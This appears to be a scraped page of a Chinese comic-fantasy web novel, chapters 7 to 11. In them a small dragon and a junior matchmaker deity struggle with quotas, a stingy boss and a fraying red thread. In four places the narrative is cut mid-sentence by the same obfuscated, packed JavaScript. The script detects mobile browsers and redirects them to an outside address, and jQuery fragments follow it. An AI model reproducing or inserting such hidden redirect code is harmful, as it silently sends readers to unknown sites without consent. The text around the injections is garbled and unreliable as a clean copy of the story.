然而,敖翔的脑袋还没碰到桌沿,就看见敖椿庭已经自顾自地拿起一副碗筷,以风卷残云之势,开始……大吃特吃! 是的,大吃特吃! 桌上的食物以可见的速度迅速减少。 敖椿庭吃得腮帮子鼓鼓,动作优雅却效率奇高,仿佛饿了很久很久。 敖翔伸出去的脑袋僵在了半空中。 【爸!】他的声音几乎是咬着牙挤出来的,【这不是妈让你带给我的吗?你怎么自己吃起来了?!】 敖椿庭百忙之中抬起头,咽下口中的食物,用无比自然、理所当然的语气回道。 【不是啊。为了让你能深刻反省,你妈特意关照了,让我带着食物来,当着你的面吃,边吃边……呃,用她的原话就是,边吃边馋你!。】 “……”敖翔整条蛇都僵住了。 下一秒,无边的怒火从尾巴尖直冲脑门。他气得猛地一甩尾巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958677|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,身体都因为愤怒而微微鼓胀了起来。 ...... 这事还要从敖翔离家历练之前说起。 书房内,敖翔正毫无形象地盘在躺椅上,随着椅子前后摇晃,一副百无聊赖的模样。 “臭小子。”敖椿庭走进书房,踢了一脚躺椅:“你妈已经安排妥当了,你这次去人界历练的部门是财神部。” “爸,你踢轻点,我都要掉下去了。”敖翔努力在晃动的躺椅上稳住自己:“财神部?他们工作是不是特别忙?” 敖椿庭坐上躺椅,把敖翔挤了出去,自己摇摇晃晃,面带微笑。 “对,财神部业务量确实非常大。这样你就能快速积累工作经验,想必很快就能回来接替我和你妈的岗位了。” “非常大。”敖翔咀嚼着这三个字,猛地绷直身体:“不!我不要去财神部!我要换个部门!” “啊?”敖椿庭脸上的笑容僵住了:“那你想去哪儿?” 敖翔重新跳上躺椅,盘到敖椿庭头上,晃着尾巴尖:“我打听过了,现在月老部业务清闲。就去那儿吧!” 敖椿庭把敖翔扯下来往空中一丢:“要是你妈知道了,肯定会生气的!” 敖翔浑不在意被抛飞,反而信心满满:“爸!你放心!妈要是生气,一切由我顶着!” ...... “喏,你当初自己说的,你妈要是生气,一切由你顶着。” 敖椿庭一边兢兢业业地执行着吃吃吃的任务,一边罗里吧嗦地絮絮叨叨:“臭小子你看,你执意要来月老部,你妈妈她,是真的很生气啊。” 敖翔看着桌上飞速消失的美食,有气无力地甩了甩尾巴尖:“我看出来了。” 这惩罚手段,简直是诛心! “哦,对了对了,差点把正事忘了。”敖椿庭猛地停下了筷子。 敖翔精神一振,熄灭的小希望之火再次点燃,满怀期待地看着敖椿庭—— 难道他妈妈还是心软了,到底是给他留了点? 只见敖椿庭不慌不忙地拿出一个智能手机,熟练地架上便携支撑架,调整好角度,确保能将他自己、敖翔以及满桌残羹都拍进去,然后郑重其事地按下了视频录制键。 “你妈还特意关照了,”敖椿庭对着镜头露出一个标准微笑,然后转向敖翔,解释道。 “要我把‘你吃不到只能干看着’的影像资料带回去。唉,不得不说,这现今人界的科技,的确是方便好用啊~~” 敖翔:“……”他感觉自己从未如此无语过。 好用个头啊! 敖椿庭心满意足地录完视频,保存好证据,然后又勤勤恳恳地将杯盘狼藉的桌面收拾得一尘不染。 连一点食物残渣都没留下。 “那我就先回去了。” 熬椿庭走到窗边,回头殷切地嘱咐,“族里已经通过了。只要你待的办事网点年度考核合格,就视为你族里的年度考核也合格了!加油啊儿子!” 话音未落,他的身影已经从窗口消失,融入了外面的夜色之中。 客厅里再次恢复了寂静,只剩下残留的、若有若无的食物香气,以及备受打击、身心俱疲的敖翔。 他生无可恋地在地板上瘫了一会儿。 半晌,才抬起头,幽怨的目光投向那扇依旧紧闭的单元门。 “哼……”敖翔自言自语地嘟囔:“不就是年度考核合格吗?有什么难的……那个桃喜宁,今天不是刚牵成了一条红线吗?合格近在眼前啊。” 这么一想,心情似乎好了那么一点点。 他重新游到沙发上,再次盘回缘定三生的抱枕,努力做出一副云淡风轻的样子:“小小业绩,拿捏!” 8. 第8章 桃喜宁借着倒垃圾的名义,在外面晃荡了一整个晚上,直到天蒙蒙亮,眼看着避无可避,这才回到了公寓。 她磨磨蹭蹭推开门,目光所及,只见敖翔稳稳地盘踞在沙发中央的抱枕上,仿佛凝固了一般。 听到开门的动静,连尾巴尖都没动一下。 “不是吧……”桃喜宁心里嘀咕,“这气性也太大了一点,都过去一整个晚上了,还搁这儿生闷气呢……” “嗯?”她动了动鼻翼,脸上露出些许疑惑:“奇怪,怎么好像……有股很淡的食物香气?” 那香气若有若无,带着一丝勾人食欲的油润和焦香,绝非这清锅冷灶的公寓里该有的味道。 桃喜宁循着那几乎消散的余味走到客厅的小桌旁,更加疑惑了。 “诶?这桌子……怎么感觉比昨天干净了不少?我记得上面明明落了层灰,我都好久没擦过了……” “什么灰!你肯定是记错了!”一个声音猛地响起。 下一秒,沙发上的敖翔了! 只见他“嗖”地一下弹射而起,在空中划过一道优美的弧线,精准地落在了桃喜宁的肩头,凉凉的鳞片蹭得她脖子有些痒。 “我看你啊,”敖翔用尾巴尖不轻不重地拍了拍桃喜宁的肩膀,语气带着强行扭转话题的笃定。 “是饿出幻觉了,都开始胡言乱语闻到什么香气了。算了算了,我心胸宽广,就不跟你计较昨天的事了。看你这么可怜,今天就大发慈悲,给你露一手,让你吃点好的,顺带长长见识!” 他一边说,一边用脑袋催促地顶了顶桃喜宁的侧脸:“走走走,别愣着了,赶紧带路,去厨房!” 桃喜宁被这一连串的动作和话语弄得有点懵,几乎是下意识地走进了厨房。 桃喜宁打开冰箱,将昨晚采购的食材又一样样拿了出来——鸡蛋、番茄、胡萝卜,还有一小块新鲜的猪肉。 这一次,敖翔没有再像昨天那样只会动嘴指挥。只见他身形一闪,细长的尾巴如同灵巧的手臂,卷起案板上的厨刀。 下一刻,刀光闪烁,几乎带出了残影。猪肉在刀刃下迅速化作均匀的肉末,番茄和胡萝卜也在令人眼花缭乱的动作中,被精准地切成了细小的丁块。 桃喜宁只觉得眼前一花,场景就切换成了——敖翔用尾巴牢牢卷着平底煎锅的手柄,站在燃气灶前。 他将混合着浓郁茄汁肉酱的馅料拨到锅边,倒入均匀的蛋液,紧接着尾巴一翻,蛋皮对折,将满满的馅料包裹其中。 一个饱满厚实的番茄肉末蛋包便完美成型。 桃喜宁难以置信地揉了揉眼睛,又用力吸了吸鼻子。 天啊!这么美好的场景,居然是真的!同事在给她做早饭! 当第一个色泽金黄、馅料隐约透出红润的蛋包被盛在盘中,由敖翔用尾巴推到面前时,桃喜宁最后一点疑虑也烟消云散了。 她用勺子轻轻划开柔软的蛋皮,内里裹着浓郁茄汁的肉末与蔬菜丁热腾腾地涌出。送入口中,蛋皮的滑嫩、肉末的鲜美、番茄的酸甜与胡萝卜的爽脆瞬间在味蕾上融合。 “好吃!”桃喜宁几口就解决了一个,勺子毫不犹豫地伸向了下一个。 敖翔优雅地在一旁的餐巾纸上盘好,昂着小脑袋,语气里是掩饰不住的得意:“好吃吧?哼哼,现在知道什么是真正的厨艺了吧?” 他看着桃喜宁近乎狼吞虎咽的吃相,忍不住又道:“你吃这么快干嘛?又没人跟你抢。离月老庙开门接待还有些时间呢。” “唔…今天月老庙不开门,”桃喜宁嘴里塞得鼓鼓囊囊,含糊不清地回答。 “李科长要开月度例会,暂停对外接待一天。” …… 一个多小时后,一人一蛇出现在了略显冷清的月老庙。 “月度例会?”敖翔趴在桃喜宁面前的办公桌上,不解地甩着尾巴:“这种会议,难道不应该回仙界总部开吗?怎么安排在人间这小小的办事网点?” 桃喜宁已经规规矩矩地坐好,准备开会,闻言,伸出手指,轻轻戳了戳敖翔的小脑袋。 经过早上的投喂,她和这位同事兼室友的关系拉近了不少,动作也透着一股熟稔。 “因为回仙界会产生差旅费。”桃喜宁言简意赅地解释。 “月老部……负担不起所有驻人界工作人员每月一次的往返,所以只能轮流在各个办事网点召开,节省开支。” 敖翔恍然大悟,尾巴“啪”地一下拍在桌面上,精准总结:“所以根本原因还是——穷!” 桃喜宁的嘴角无声地往下撇了撇,算是默认。 可不是么——清水衙门,名副其实,清澈得都快见底了。 “久等久等!不好意思!”李帅的声音伴随着略显急促的脚步声从门外传来。 只见他快步走进来,一边走一边不停地用手抹着额头。“临出门时,部长突然叫住我谈了几句话,所以才耽搁了,让你们久等了,抱歉抱歉。” 桃喜宁立刻站起身,想宽慰两句,展现一下作为下属的体贴:“李科长,没关系的,我们也没等……” 她话还没说完,肩头上的敖翔却抢先一步,小脑袋探出来,语气充满了纯粹的好奇。 “李科长,怎么就我们两个?你手底下就管着这一个兵吗?你这光杆司令当得有点寒酸啊。” 李帅脸上的笑容瞬间停滞,露出一丝难以掩饰的尴尬。 桃喜宁大惊失色,几乎要扑上去捂住敖翔的嘴。 她赶紧侧身挡住敖翔,连声道:“李科长您别介意!敖翔刚来,不懂规矩,都怪我没事先跟他说明白!您千万别跟他一般见识!” 李帅看看一脸焦急的桃喜宁,又瞄了眼她身后那条一脸“我说错什么了吗”的敖翔,脸上强行挤出一个干巴巴的笑容。 “没事,没事!新同事嘛,求知欲旺盛是好事,呵呵,好事……” 桃喜宁这才偷偷松了口气,回头压低声音给敖翔紧急补课:“李科长目前管辖着两个城市的办事网点!这两个网点前不久才刚从别的区域划分出来……” 敖翔立刻跟上她的思路,小脑袋一点:“哦——我明白了!所以就是李科长刚刚接手,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958678|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己也还不太熟?” 桃喜宁偷瞄到李帅原本就勉强的笑容彻底消失,嘴角微微下拉,眼神里甚至透出了一丝“好难”的悲凉,仿佛下一秒就要哭出来。 她赶紧提高音量,强行转移话题:“李科长!说起来,现在都年底了,另一位辖区的同事呢?应该已经到岗了吧?我们还没见过呢。” 李帅脸上闪过一丝更深的尴尬,干咳一声。 “咳,新同事是补录调剂的。部里说培训经费紧张,岗前培训得排队。等全部培训结束,才能统一分配给各个科室,所以估计……还得有好一阵子。等安排到我们科室了,我再给你们介绍。” 他抬手捋了捋自己本就不算富裕的头发,巧妙地用手掌遮住了最稀疏的头顶区域,语气沧桑。“咱们部门啊,现在信仰值不足,能录用的员工数量有限,流程又长,大家再克服克服。” 会议正式开始,主要是学习文件,领会部长的最新指示精神。 桃喜宁看着文件上的条款,小声提出疑问:“李科长,这个……不得主动强行牵系红线,这条我之前已经学习过了,明白。” “但是后面这条,需日常在办事网点坐班,原则上不得外出主动寻觅姻缘机会,如有特殊情况要出外勤,必须由科长一级审批通过……” “意思是,我们连时不时外出创造点相遇的机会都不行吗?” 李帅闻言,长长地、饱含沧桑地叹了一口气。 “小桃啊,你是不知道。部里上次开大会专门讨论过这个问题。我们月老部,在人界是有悠久传承的正经神仙!不是那些跑业务、拉客户的销售!” “如果连我们都去主动出击撮合姻缘,那跟人界满大街的婚介所、联谊平台还有什么区别?我们仙界的体面,还要不要了?” 桃喜宁嘴角微抽,目光往下扫,果然在文件的附录里看到了相关《通报批评》。 几位因为过于积极主动的月老同事,在通报里被毫不留情地冠上了“地推仙”、“红线销售”等称号。 桃喜宁:“……” 她默默地,把已经到了嘴边的、想趁机申请在辖区内举办联谊会以创造业绩的建议,给硬生生咽了回去。 这万一太过积极主动,业绩没到手,先落了个处罚回来,影响实习转正,实在是划不来。 算了算了,还是按照文件要求,老老实实地坐班吧。 好不容易,这场氛围略显凝重的月度例会终于结束了。 李帅又匆匆叮嘱了几句诸如“注意安全”、“维护形象”之类的话,便像来时一样,匆匆离开了。 敖翔一直盘在桃喜宁肩头,此刻终于忍不住,发出了精准的吐槽。 “我之前还以为月老部近年业绩下滑,是因为大家都躺平了。搞了半天,是上头既不允许你们打广告做宣传,又不允许你们主动联系潜在客户……” “这跟把销售关在办公室里不让出门有什么区别?业绩能不少才怪!” 桃喜宁深表同意地点点头,望着李帅离去的方向,再次为自己那转正的业绩指标,感到一阵无力。 9. 第9章 月老庙里,桃喜宁正对着办公电脑发呆,思考着如何在不违反仙界体面的前提下,尽量提升那可怜的红线牵成率。 就在这时,一阵急促的敲门声打破了宁静。 “快递!月老部的桃喜宁在吗?”一个穿着速递制服的小哥站在门口,手里抱着一个不大不小的纸箱。 “在的在的!”桃喜宁连忙起身签收。 快递小哥利落地将包裹递给她,同时亮出了收款码:“月老部统一的周边,快递费信仰值到付。” “啊?又是到付?!”桃喜宁的脸瞬间垮了下来,发出一声无声的呐喊,“上次的报销流程我走了快两个月才批下来,信仰值都是我先垫付的!” 快递小哥得语气里带着毫不掩饰的鄙视:“没办法,谁让你们月老部的统一结算老是拖欠我们物流公司的款子。 “上面说了,只能给你们改成按次到付,现结现清。”他顿了顿,对比的意味十分明显。 “您看看人家隔壁财神部,那才叫大气!从不拖欠,快递量大,时不时还给打赏小费呢。要不...您考虑一下申请调换部门?” 桃喜宁被这番连消带打怼得哑口无言,只能垂头丧气地掏出手机,扫描二维码,眼睁睁看着自己本就不丰厚的信仰值余额又减少了一截。 然后一边在心里默默流泪,一边垂头丧气地拆开快递——纸箱里,赫然是一堆印着缘定三生字样的陶瓷杯。 她拿起一个杯子,左看右看,脸上写满了怀疑人生。 “抱枕、陶瓷杯……除了这些,部里就不能开发点别的周边吗?我们靠这些老套的东西,真的能吸引到现在的凡人吗?听说财神部都开始搞999足金抽奖了!” 一直盘在办公桌上午睡的敖翔被这边的动静吵醒。 他抬起小脑袋,懒洋洋地扫了一眼新到的那堆陶瓷杯。 “啧,确实寒酸。要不下次你跟上面建议,别搞这些虚头巴脑的了,直接改成发鸡蛋吧。” “我相信,只要消息放出去,附近几个社区的大爷大妈绝对天天来你们月老庙门口排队。就算没有业绩,至少还能赚点人气。” “你这家伙!就知道说风凉话!”桃喜宁被他这不着调的建议气得牙痒痒,一把抓过桌上滑溜溜的小青蛇,放在手里就是一通毫不留情的揉圆搓扁。 “住…住手!我的…形象!鳞片都要被你搓掉了!”敖翔在她手心里被搓得晕头转向,却还在顽强地发出抗议和威胁。 “再搓…再搓我就匿名给你打差评!让你考核雪上加霜!” 就在这一片鸡飞狗跳之际,办公桌上那台老旧的电脑主机箱突然发出一阵不同于往常的、尖锐的提示音! 屏幕上,代表姻缘系统的界面自动弹出一个鲜红色的提示框! 桃喜宁动作一僵,立刻停止了对敖翔的蹂躏,凑到屏幕前定睛一看,脸色瞬间大变。 警告信息清晰地显示:不久前刚刚牵系成功的红线——白饴&林渊傅,系统提示存在断裂风险! “什么情况?!”桃喜宁失声惊呼拍。 这才牵上线几天?热恋期都没过吧?! 敖翔趁机从她松懈的手掌中溜出来,游到键盘旁边,昂起脑袋看着屏幕上的警告,语气里带着几分看热闹不嫌事大的戏谑。 “哟,这才几天?红线就要断了?你该不会是要入选本年度月老部红线断裂速度最快排行榜吧?说不定还能破个纪录?” 敖翔的话精准地刺中了桃喜宁的痛处。 她的脑海里瞬间浮现出自己因为年度考核不合格,被李帅痛心疾首地谈话,然后灰溜溜地被打包踢出月老部,自此失去稳定工作的凄惨场面。 “可恶!绝对不行!”强烈的危机感让桃喜宁瞬间斗志燃烧。 “我辛辛苦苦才考上月老部,绝不能就这么完了!我这就查查到底是怎么回事!” 她双手在键盘上飞快地操作起来,调出白饴&林渊傅这条红线的详细信息记录。 敖翔也好奇地凑近屏幕,用尾巴尖撑住自己的小脑袋,摆出一个傲娇的观察姿势。 “怎么样?查到了吗?是什么问题?性格不合?家里反对?还是第三者插足?” 桃喜宁紧皱着眉头,快速浏览着系统信息。 忽然,她的目光定格在一条最新的操作记录上,眉头猛地一皱。 “好像不是这些问题……”她的声音带着难以置信。 “系统记录显示,有同事提交了异议申请,理由是——要求恢复白饴前一次断裂的红线!” 她猛地一拍大腿,恍然大悟,声音里充满了被冒犯的愤怒:“这不是意外!这是撬单!摆明了是在撬我的单子!” “撬单?”敖翔的竖瞳瞬间收缩成,原本松松垮垮盘踞的身体也微微绷直。 “谁?哪个辖区的?这么不懂规矩,敢撬到我们辖区上来?” 桃喜宁正在气头上,听到敖翔用了“我们辖区”这个词,不由得心生疑惑,扭头看他。 “咦?李科长送你过来历练的时候,没说你也要参与我们月老部考核啊?你怎么对业绩这么上心?” “呃……”敖翔被她问得一噎,高昂的小脑袋瞬间矮了半截。 “就是…那个…我自己族里也有考核的嘛...再说...再说我们现在是同事嘛!不,是同一个网点的搭档!” “抬头不见低头见的,我还能眼睁睁看着你年度考核过不了,被踢出去不成?那我岂不是没了…住的地方?” 他东拉西扯了一堆,然后强行把话题拽回来:“所以到底是谁在撬单?系统里能看到吗?” 桃喜宁的注意力被成功转移,懊恼地摇了摇头。 “看不到具体是哪个辖区的哪位同事。我的权限太低,只能看到有这么个异议申请被提交了。想要查看详情,还必须得向李科长申请更高级别的权限。” 但是,她只要一想到李帅平时三令五申、苦口婆心强调“不同辖区之间要和睦相处,维护月老部内部团结”的样子。 就知道直接去找他肯定会被和稀泥,然后被以“大局为重”的理由拒绝调查请求。 “先别着急,冷静点。” 桃喜宁像是在安慰敖翔,更像是在说服自己,手指一边在键盘上操作一边说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958679|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我记得姻缘系统最近升级,好像开通了非敏感时间段的实时状态查看功能……” 敖翔插了句嘴:“什么是非敏感时间段?难道还有敏感时间段吗?” 桃喜宁觉得自己脑门“突突”直跳,伸手就给了敖翔一个弹指:“少说话,多干活,问那么多有的没的干嘛。” 敖翔交闪躲了过去,用尾巴护住自己后,小声嘟囔道:“不说就不说嘛,怎么还动手动脚的......” 桃喜宁顾不上耍宝的敖翔。 她点开系统界面,还试图让自己往好的方面想。 “上次白饴来月老庙里时,看和林渊傅感情...还是很不错的。现在这个时间点,正常人刚下班了,说不定两人正在甜蜜晚餐呢,是我自己吓自己。那个异议申请,说不定只是个误会……” 絮絮叨叨的话语,在系统界面成功连接并弹出实时画面的瞬间,戛然而止。 屏幕上清晰地显示出一个灯火通明的办公室—— 白饴正坐在电脑前,头发微乱,眼神锐利得像要喷火,一手疯狂地敲击键盘,另一只手抓着手机贴在耳边,几乎用咆哮在打着电话。 “我不管有什么理由!明天早上九点,我要看到完整的解决方案...来不及?来不及就今天晚上集体加班!我跟你们一起加!” 她的身旁,一个年轻的男助理正抱着一叠文件,低着头,身体微微发抖,一副快被吓哭的样子。 桃喜宁看着姻缘系统里这个与之前温柔羞涩形象判若两人的白饴,彻底惊呆了。 “不……不会吧?”她难以置信地喃喃自语,手指有些发抖地又切换到林渊傅的实时状态界面。 画面一转,出现在一个堆满书籍和资料的办公室里——对,一看就也是个办公室。 林渊傅同样坐在电脑前,眼镜滑到了鼻梁中段,眼底挂着两个浓重的黑眼圈,脸上写满了生无可恋。 他一边对着屏幕上的学术报告抓头发,一边猛灌咖啡。那样子,活脱脱一个被学术压榨的科研牛马。 敖翔的小脑袋从桃喜宁的肩膀后探出来,看看左边屏幕里咆哮不止的白饴,又看看右边屏幕里萎靡不振的林渊傅,竖瞳里充满了惊奇。 他吐了吐信子,发出一个灵魂拷问: “所以……这对的红线出现断裂危机,不是因为性格不合,也不是家里反对,而是因为——工作,插足在他们之间成了第三者?” “岂有此理!”桃喜宁看着屏幕上被工作折磨得快散了架的两个,一股无名火“噌”地就冒了上来,瞬间淹没了刚才的惊慌和沮丧。 她猛地一拍桌子站了起来,脸上充满了悲愤和一种同是职场干活人的共鸣。 “我自己天天被业绩考核、写不完的报告、抠门的信仰值折磨得死去活来,已经够惨了!” “现在居然连我亲手牵的红线,我负责的姻缘业绩,也要被工作横插一脚,活生生给折磨到断掉?!” 桃喜宁握紧了拳头,眼中燃烧起熊熊的斗志,一字一句地说道: “这还能忍吗?当然不能忍!我跟工作这个万恶的第三者拼了!” 10. 第10章 说干就干! 桃喜宁重新坐直身体,双手在键盘上噼里啪啦地敲击起来,速度快得几乎带出了残影。 一份申请报告迅速成型。 她绞尽脑汁,将理由写得冠冕堂皇: 旨在提供优质的红线牵后服务,及时化解潜在矛盾,提升红线稳固率,从根本上杜绝红线断裂风险,为月老部的良好声誉保驾护航。 报告写好。 桃喜宁逐字逐句检查了一遍,自觉理由充分,逻辑严谨,既体现了对工作的责任心,又巧妙规避了主动出击的嫌疑,一定能符合仙界工作体面的要求。 于是怀着满满的信心,郑重其事地移动鼠标,点击了提交按钮。 然而,希望仅仅存在了一瞬。 几乎是报告提交成功的提示音刚落——叮! 一声更加尖锐急促的系统提示音骤然响起,一个红色的提示框地跳了出来,堵在了屏幕的正中央:【驳回申请。】 不仅如此,李帅的回复还紧随其后,带着不容置疑的权威。 【小桃,今天早上的月度例会,我刚刚强调过,需日常在办事网点坐班,原则上不得随意在工作时间出外勤,你怎么这么快就忘了?】 【要把会议精神落到实处啊!不可随意逾越!】 看着李帅带着敲打意味的回复。 桃喜宁目光呆滞地望向天花板,只感觉考核一片灰暗,转正遥遥无期。 内有同事撬单,外有规则枷锁。 这业绩,还怎么做?!这岗位,还怎么保?! 收到李科长的冷酷回复后,桃喜宁闷闷不乐了好几天。 以至于每天上班后的第一件事,就是打开姻缘管理系统,颤抖着点开【白饴&林渊傅】的选项,检查那条代表感情稳定的红线——直到确认还没有彻底断裂,才能稍微松口气。 这天,她又对着电脑屏幕上那条依旧摇摇欲坠的红线长吁短叹,愁得几乎要伸手揪掉自己几根头发。 “啊,再这样下去,我这头发的发量就要向李科长看齐了。工作难做啊!” 紧接着,一个熟悉的声音从她上方传来:“小桃啊,工作既然难做,你还有空关心我的头发?” 桃喜宁一个激灵,猛地抬头——只见李帅不知何时已经悄无声息地站在了办公桌旁边,双手背在身后,正微微俯身看着她。 “李…李科长!您好!” 她吓得差点从椅子上弹起来,手忙脚乱地想要关掉姻缘管理系统的界面,脸上还挤出一个比哭还难看的笑容。 “对不起,对不起!最近…最近一直在思考怎么提升业绩,太专注了,都没注意到您来了。” 李帅没有立刻说话,只是慢悠悠地直起身,目光在空空荡荡的月老庙里扫视了一圈。 连一个人影都没有。 他的视线最后落回电脑屏幕上——那堪堪挂在及格线上的业绩、并且因为白饴那条要断不断的红线而的业绩。 沉默,沉默比直接的批评更让人窒息。 半晌,李帅才重新低下头,用一种听不出喜怒的的语气问道:“看来你这工作强度确实很大,要不要放个假,回去好好休息一下?” 桃喜宁先是一愣,随即眼睛难以置信地亮了一下,几乎要脱口而出。 “真的可以吗李科长?!传说中的带薪休假?暂时逃离业绩压力,哪怕只有一天.....” 李科长脸上露出了一个堪称和蔼可亲的笑容,慢条斯理地补充道。 “当然可以了,仙生漫长,想休息几百年都没问题。” “正好,我也一直在考虑向上级汇报,优化资源配置。依我看,我管的这两个辖区,似乎可以合并一下,留一个岗位就足够了。” 合并岗位?!那不就是变相裁员吗?!还在实习期的,绝对是会被优化掉的! 桃喜宁大惊失色,“唰”地一下站得笔直,椅子腿在地上划出刺耳的声音。 “不不不!李科长!我完全不累!一点也不需要休息!我热爱工作!我还能为月老部奋斗五百年!不,一千年!” 她的声音因为极度恐慌而拔高,几乎破了音,在房间里“嗡嗡”作响。 一直盘在桌上的熬游,此刻默默伸出尾巴,圈住了桃喜宁的手指,昂起头朝着李帅吐了吐信子,发出细微的嘶嘶声。 李帅下意识地倒退了一步,脚尖磕到了桌腿。 他轻咳一声,似乎是为了掩饰这瞬间的失态,迅速转移了话题。 “既然不累,那这业绩……难道就这么困难吗?按照月老庙的位置,周围潜在姻缘对象也不是完全没有嘛。” 桃喜宁低着头,不敢看李帅的眼睛,但忍了几天的憋屈还是让她忍不住小声辩解。 “可是……规定不让出外勤,只能在月老庙里坐等信众上门……现在凡人都不兴来庙里求姻缘了,都去用社交软件了……这、这困难当然大了……” 她的声音虽小,但在寂静的月老庙里却清晰可闻。 李帅听到桃喜宁说到困难,立刻挺直了腰板,语气带上了想当年的感慨。 “困难?这都是借口!想我八百年前,也是从基层岗位做起的!那时候条件比现在艰苦多了,我不照样年年业绩名列前茅,得到上级奖励?” 他边说边抚了抚自己稀疏的头顶。 桃喜宁低着头,盯着地面,不敢反驳,但紧抿的嘴唇和微微鼓起的腮帮子,都明确表达了她内心的不以为然——八百年前?那都是什么时候的工作经验了! 许是被她这副口服心不服的样子被激起了好胜心 李帅猛地一拍桌子,吓得桃喜宁又是一抖:“看来你是不信了?好!我今天就亲自做给你看,让你看看老前辈是怎么在规定内创造业绩的!” 他的目光在庙内逡巡,最终落在了墙角那堆印着“缘定三生”的陶瓷杯上。 李帅眼睛一亮,立刻指挥起来。 “你,去把那些杯子搬出来!在月老庙门口支个小摊!我们就搞个活动,买月老庙门票,赠陶瓷杯一个!这么好的办法,肯定能吸引人!” 桃喜宁和熬游对视一眼,都在对方眼中看到了“这能行吗?”的意思。 可领导的话不能不听,她只能认命地去搬杯子,在庙门口摆了个简易的小摊,还找了块硬纸板写上“赠杯”二字。 结果,现实给了李帅无情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958680|193254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一击。 时间一点一点过去,路过的行人步履不停,目光匆匆扫过小摊,脚步却未曾为这“缘定三生”的杯子停留半分。整整一个下午,竟连一个上前询问的人都没有。 李帅从最初的背手而立、信心满满,渐渐变得有些站不住。他开始在摊前踱步,越走越急,脚步声都透出了焦躁。 “李科长,”敖翔盘在桃喜宁手腕处,小脑袋一歪。 “您看看,隔壁街超市送鸡蛋的队伍,都快排到路口了。我们这儿……可真清静。” 桃喜宁低着头,用手指悄悄戳了一下敖翔,示意他闭嘴。 “小熬啊,做业绩,眼光要放长远……”李帅清了清嗓子,背起手,看样子正准备展开一番关于坚持的说教。 恰在此时,一个行人停在了小摊前,目光落在那些陶瓷杯上。 李帅立刻收住了话音,脸上迅速浮起一种“果然如此”的微笑,仿佛在说:看,方法还是有效的。 桃喜宁心里一紧。难道真有用?那以后该不会天天被派出来站岗摆摊吧? 她看着那人的侧影,一时竟不知该盼着成还是不成。 然而,这纠结没能持续多久。 “买门票……就送这个?”来人拿起一个杯子看了看底部,又放回去,嘴里含糊了一句。随即转身,重新汇入了人流。 李帅嘴角那抹还没完全展开的微笑僵住了,张了张嘴,最终什么也没能说出来。 他就那么站在原地,背在身后的手不知何时已经放了下来,看着那人消失的方向,半晌没动。 “哟,李科长,看来老前辈的经验,也不好用啊。”敖翔不失时机,发出了毫不留情的嘲笑。 李帅的脸色涨红,却无法反驳这眼前的事实,只能干咳几声。 毕竟是自己顶头领导,桃喜宁还是得硬着头皮给他找台阶下。 “李科长,主要是……现在是上班时间,大家都要坐班,不能随意出来参拜月老庙。等周末,周末人可能就多了……” 李帅擦了擦额角,似是在掩饰自己的窘迫,。 “嗯…小桃你说的有道理,是客观条件限制。看来只靠坐班,也的确是行不通……” 他背着手又踱了几步,忽然像是下了某种决心,转头对桃喜宁说。 “这样吧,你上次打的那个报告……就是申请什么牵后服务的那个,虽然理由有点扯,但出发点是为稳定红线。你重新提交一次吧,这次……我会批准的。” 峰回路转! 桃喜宁简直不敢相信自己的耳朵,继而大喜过望,刚才的郁闷一扫而空,感觉自己保住红线、挽救业绩的希望之火又重新燃烧了起来! “谢谢李科长!”她的声音里是压抑不住的雀跃。 “嗯。”李帅点了点头,似乎终于想起了今天的来意,补充道,语气恢复了往常的平稳。 “对了,差点忘了正事。告诉你个消息,我们科另一位同事,已经正式到岗了,目前正在熟悉工作和环境。” “过段时间,等他都安顿好了,我们科搞个团建,增进一下感情,也便于日后工作开展。”说完,他背着手,转身慢悠悠地朝庙外走去。 11. 第11章 “批了!批了!” 桃喜宁几乎是从椅子上弹起来的,眼睛盯着电脑屏幕上姻缘系统内部的通知。 【关于外勤申请的批复:经研究,同意申请。外勤期间需确保红线维护,且不得影响科里日常工作……】 